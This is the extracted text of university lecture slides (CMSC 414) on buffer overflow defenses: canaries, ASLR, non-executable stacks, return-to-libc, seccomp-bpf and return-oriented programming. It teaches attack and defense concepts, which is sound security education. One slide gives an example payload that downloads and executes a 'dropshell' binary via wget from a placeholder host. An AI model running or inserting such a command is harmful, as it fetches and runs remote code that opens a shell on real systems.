BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 - - PowerPoint PPT Presentation

buffer overflow defenses countermeasures
SMART_READER_LITE
LIVE PREVIEW

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 - - PowerPoint PPT Presentation

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess the raw address)


slide-1
SLIDE 1

BUFFER OVERFLOW
 DEFENSES & COUNTERMEASURES

CMSC 414

FEB 01 2018

slide-2
SLIDE 2

RECALL OUR CHALLENGES

  • Putting code into the memory (no zeroes)

  • Finding the return address (guess the raw address)

  • Getting %eip to point to our code (dist buff to stored eip)

How can we make these even more difficult?

slide-3
SLIDE 3

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

slide-4
SLIDE 4

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

slide-5
SLIDE 5

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

… 02 8d e2 10

canary

slide-6
SLIDE 6

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

… 02 8d e2 10

canary

nop nop nop …

0xbdf

\x0f \x3c \x2f ...

slide-7
SLIDE 7

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

… 02 8d e2 10

canary

nop nop nop …

0xbdf

\x0f \x3c \x2f ...

slide-8
SLIDE 8

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

… 02 8d e2 10

canary

nop nop nop …

0xbdf

\x0f \x3c \x2f ...

Not the expected value: abort

slide-9
SLIDE 9

DETECTING OVERFLOWS WITH CANARIES

00 00 00 00

buffer

text

%eip

...

&arg1 %eip

%ebp

… 02 8d e2 10

canary

nop nop nop …

0xbdf

\x0f \x3c \x2f ...

Not the expected value: abort What value should the canary have?

slide-10
SLIDE 10

CANARY VALUES

  • 1. Terminator canaries (CR, LF, NULL, -1)
  • Leverages the fact that scanf etc. don’t allow these
  • 2. Random canaries
  • Write a new random value @ each process start
  • Save the real value somewhere in memory
  • Must write-protect the stored value
  • 3. Random XOR canaries
  • Same as random canaries
  • But store canary XOR some control info, instead

From StackGuard [Wagle & Cowan]

slide-11
SLIDE 11

RECALL OUR CHALLENGES

  • Putting code into the memory (no zeroes)

  • Finding the return address (guess the raw address)

  • Getting %eip to point to our code (dist buff to stored eip)

How can we make these even more difficult?

Option: Make this detectable with canaries

slide-12
SLIDE 12

ADDRESS SPACE LAYOUT RANDOMIZATION

Text

4G 0xffffffff 0x00000000

cmdline & env Uninit’d data

static int x;

Init’d data

static const int y=10;

Runtime Known at compile time Set when
 process starts

Heap

malloc(sizeof(long));

Stack

int f() {
 int x; …

Randomize where exactly these regions start

slide-13
SLIDE 13

ADDRESS SPACE LAYOUT RANDOMIZATION

  • Introduces return-to-libc atk
  • Probes for location of usleep
  • On 32-bit architectures,

  • nly 16 bits of entropy
  • fork() keeps same offsets

Shortcomings of ASLR

slide-14
SLIDE 14

RECALL OUR CHALLENGES

  • Putting code into the memory (no zeroes)

  • Finding the return address (guess the raw address)

  • Getting %eip to point to our code (dist buff to stored eip)

How can we make these even more difficult?

Option: Make this detectable with canaries Address Space Layout Randomization (ASLR)

slide-15
SLIDE 15

GETTING %EIP TO POINT TO OUR CODE

Recall that all memory has Read, Write, and Execute permissions

Text

4G 0xffffffff 0x00000000

cmdline & env Uninit’d data Init’d data

Must be
 readable &
 writeable Must be
 executable

Heap Stack

But does it
 need to be
 executable? Basic idea:
 make the stack
 non-executable

slide-16
SLIDE 16

RETURN TO LIBC

Exploit:

slide-17
SLIDE 17

RETURN TO LIBC

Exploit: Preferred: strlcpy char buf[4];
 strncpy(buf, “hello!”, sizeof(buf));
 strlcpy(buf, “hello!”, sizeof(buf)); buf = {‘h’, ‘e’, ‘l’, ‘l’} buf = {‘h’, ‘e’, ‘l’, ‘\0’}

slide-18
SLIDE 18

RETURN TO LIBC

Exploit: Goal:

system(“wget http://www.example.com/dropshell ;
 chmod +x dropshell ;
 ./dropshell”);

Challenge: Non-executable stack Insight: “system” already exists somewhere in libc

slide-19
SLIDE 19

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

stack frame

slide-20
SLIDE 20

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

padding

0xbdf 0xbdf 0xbdf ...

stack frame

slide-21
SLIDE 21

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

good
 guess padding

0xbdf 0xbdf 0xbdf ...

stack frame

slide-22
SLIDE 22

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

good
 guess padding

0xbdf 0xbdf 0xbdf ... nop nop nop …

nop sled stack frame

slide-23
SLIDE 23

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

good
 guess padding

0xbdf 0xbdf 0xbdf ... nop nop nop …

nop sled

\x0f \x3c \x2f ...

malicious code stack frame

slide-24
SLIDE 24

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

good
 guess padding

0xbdf 0xbdf 0xbdf ... nop nop nop …

nop sled

\x0f \x3c \x2f ...

malicious code stack frame

slide-25
SLIDE 25

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

good
 guess padding

0xbdf 0xbdf 0xbdf ... nop nop nop …

nop sled

\x0f \x3c \x2f ...

malicious code stack frame PANIC: address not executable

slide-26
SLIDE 26

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc

slide-27
SLIDE 27

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

slide-28
SLIDE 28

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

slide-29
SLIDE 29

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

slide-30
SLIDE 30

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

How do we guess this address?

slide-31
SLIDE 31

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

How do we guess this address? How do we ensure these are the args?

slide-32
SLIDE 32

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

arguments

wget example.com/...

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-33
SLIDE 33

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

arguments

wget example.com/...

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-34
SLIDE 34

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-35
SLIDE 35

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-36
SLIDE 36

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-37
SLIDE 37

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

At this point, we can’t reliably access local variables

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-38
SLIDE 38

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

At this point, we can’t reliably access local variables

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-39
SLIDE 39

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc padding

mov %ebp %esp pop %ebp pop %eip leave: ret:

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip %esp

slide-40
SLIDE 40

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip

mov %ebp %esp pop %ebp pop %eip leave: ret:

DEADBEEF

slide-41
SLIDE 41

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip

DEADBEEF

slide-42
SLIDE 42

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip

Will expect args at 8(%ebp)

DEADBEEF

slide-43
SLIDE 43

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip

padding DEADBEEF

slide-44
SLIDE 44

ARGUMENTS WHEN WE ARE SMASHING %EBP?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

...

usleep()

... ...

printf()

...

system() libc

%esp

padding

%ebp

DEADBEEF

arguments

wget example.com/...

pushl %ebp movl %esp, %ebp system:

%eip

At this point, we can
 reliably access local variables

padding DEADBEEF

slide-45
SLIDE 45

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

How do we guess this address? How do we ensure these are the args?

slide-46
SLIDE 46

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

How do we guess this address? How do we ensure these are the args?

padding

By prepending 4 byte padding

slide-47
SLIDE 47

INFERRING ADDRESSES WITH ASLR

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

AAAAAAAAAAAAAAAA

DEADBEEF

arguments

0x01010101

known delta (by version of libc)

DEADBEEF

slide-48
SLIDE 48

INFERRING ADDRESSES WITH ASLR

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

AAAAAAAAAAAAAAAA

DEADBEEF

arguments

0x01010101

known delta (by version of libc) Repeatedly guess the address of usleep

DEADBEEF

slide-49
SLIDE 49

INFERRING ADDRESSES WITH ASLR

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

AAAAAAAAAAAAAAAA

DEADBEEF

arguments

0x01010101

known delta (by version of libc) Repeatedly guess the address of usleep 0x01010101 = smallest number w/o 0-byte
 ≈ 16 million == 16 sec of sleep Wrong guess of usleep = crash; retry
 Correct guess of usleep = response in 16 sec

DEADBEEF

slide-50
SLIDE 50

INFERRING ADDRESSES WITH ASLR

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding

AAAAAAAAAAAAAAAA

DEADBEEF

arguments

0x01010101

known delta (by version of libc) Repeatedly guess the address of usleep 0x01010101 = smallest number w/o 0-byte
 ≈ 16 million == 16 sec of sleep Wrong guess of usleep = crash; retry
 Correct guess of usleep = response in 16 sec

DEADBEEF

Why this works
 Every connection causes a fork;
 fork() does not re-randomize ASLR

slide-51
SLIDE 51

RETURN TO LIBC

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

How do we guess this address? How do we ensure these are the args?

padding

By prepending 4 byte padding By first guessing usleep

slide-52
SLIDE 52

DEFENSE: JUST GET RID OF SYSTEM()?

&arg1 %eip

%ebp

00 00 00 00

buffer

text

%eip

...

usleep()

... ...

printf()

...

system() libc padding arguments

wget example.com/...

padding

Idea: Remove any function call that
 (a) is not needed and
 (b) could wreak havoc system()
 exec()
 connect()

  • pen()

...

slide-53
SLIDE 53

RELATED IDEA: SECCOMP-BPF

slide-54
SLIDE 54

RELATED IDEA: SECCOMP-BPF

  • Linux system call enabled since 2.6.12 (2005)
  • Affected process can subsequently only perform read,

write, exit, and sigreturn system calls

  • No support for open call: Can only use already-open file descriptors
  • Isolates a process by limiting possible interactions
slide-55
SLIDE 55

RELATED IDEA: SECCOMP-BPF

  • Linux system call enabled since 2.6.12 (2005)
  • Affected process can subsequently only perform read,

write, exit, and sigreturn system calls

  • No support for open call: Can only use already-open file descriptors
  • Isolates a process by limiting possible interactions
  • Follow-on work produced seccomp-bpf
  • Limit process to policy-specific set of system calls,

subject to a policy handled by the kernel

  • Policy akin to Berkeley Packet Filters (BPF)
  • Used by Chrome, OpenSSH, vsftpd, and others
slide-56
SLIDE 56

RETURN-ORIENTED PROGRAMMING

  • Introduces return-oriented

programming

  • Shows that a nontrivial amount
  • f code will have enough code

to permit virtually any ROP attack

Shortcomings of removing
 functions from libc

slide-57
SLIDE 57

CODE SEQUENCES IN LIBC

Code sequences exist in libc that
 were not placed there by the compiler Find code sequences by starting at ret’s (‘0xc3’)
 and looking backwards for valid instructions

slide-58
SLIDE 58

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-59
SLIDE 59

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

slide-60
SLIDE 60

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edx now set to 0xdeadbeef

slide-61
SLIDE 61

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

Effect: sets %edx to 0xdeadbeef

slide-62
SLIDE 62

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edx %eax %edi 7 3

slide-63
SLIDE 63

GADGETS

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edx %eax %edi 7 3

slide-64
SLIDE 64

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 3

slide-65
SLIDE 65

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 3

slide-66
SLIDE 66

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 3

slide-67
SLIDE 67

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 7 3

slide-68
SLIDE 68

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 7 3

slide-69
SLIDE 69

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 7 3

slide-70
SLIDE 70

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 3 7

slide-71
SLIDE 71

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 10 7

slide-72
SLIDE 72

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 10 7

slide-73
SLIDE 73

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 10 7

slide-74
SLIDE 74

GADGETS

%edx %eax

mov %ebp %esp pop %ebp pop %eip leave: ret:

%edi 7 10 7

slide-75
SLIDE 75

GADGETS

%edx %eax %edi 7 10 7 next gadget

slide-76
SLIDE 76

GADGETS

%edx %eax %edi 7 10 7 next gadget Effect: adds 7 to %eax

slide-77
SLIDE 77

GADGETS

%edx %eax %edi 7 10 7 next gadget Effect: adds 7 to %eax Had to deal with the
 side-effect of push %edi

slide-78
SLIDE 78

GADGETS

%eax %ebx %ecx %edx

slide-79
SLIDE 79

GADGETS

%eax %ebx %ecx %edx

slide-80
SLIDE 80

GADGETS

%eax %ebx %ecx %edx

slide-81
SLIDE 81

GADGETS

%eax %ebx %ecx %edx 0x0b0b0b0b

slide-82
SLIDE 82

GADGETS

%eax %ebx %ecx %edx 0x0b0b0b0b

slide-83
SLIDE 83

GADGETS

%eax %ebx %ecx %edx 0x0b0b0b0b

slide-84
SLIDE 84

GADGETS

%eax %ebx %ecx %edx 0x0b0b0b0b

slide-85
SLIDE 85

GADGETS

%eax %ebx %ecx %edx 0xb 0x0b0b0b0b

slide-86
SLIDE 86

GADGETS

%eax %ebx %ecx %edx 0xb 0x0b0b0b0b

slide-87
SLIDE 87

GADGETS

%eax %ebx %ecx %edx 0xb 0x0b0b0b0b

slide-88
SLIDE 88

GADGETS

%eax %ebx %ecx %edx 0xb 0x0b0b0b0b

slide-89
SLIDE 89

GADGETS

%eax %ebx %ecx %edx 0xb

slide-90
SLIDE 90

GADGETS

%eax %ebx %ecx %edx 0xb

slide-91
SLIDE 91

GADGETS

%eax %ebx %ecx %edx 0xb

slide-92
SLIDE 92

GADGETS

%eax %ebx %ecx %edx 0xb Effect: shell code

slide-93
SLIDE 93

RECALL OUR CHALLENGES

  • Putting code into the memory (no zeroes)

  • Getting %eip to point to our code (dist buff to stored eip)

  • Finding the return address (guess the raw address)

How can we make these even more difficult?

Option: Make this detectable with canaries Non-executable stack doesn’t work so well Address Space Layout Randomization (ASLR) Best defense: Good programming practices

slide-94
SLIDE 94

BUFFER OVERFLOW PREVALENCE

4 8 12 16 1997 1999 2001 2003 2005 2007 2009 2011 2013 2015

Significant percent of all vulnerabilities

Data from the National Vulnerability Database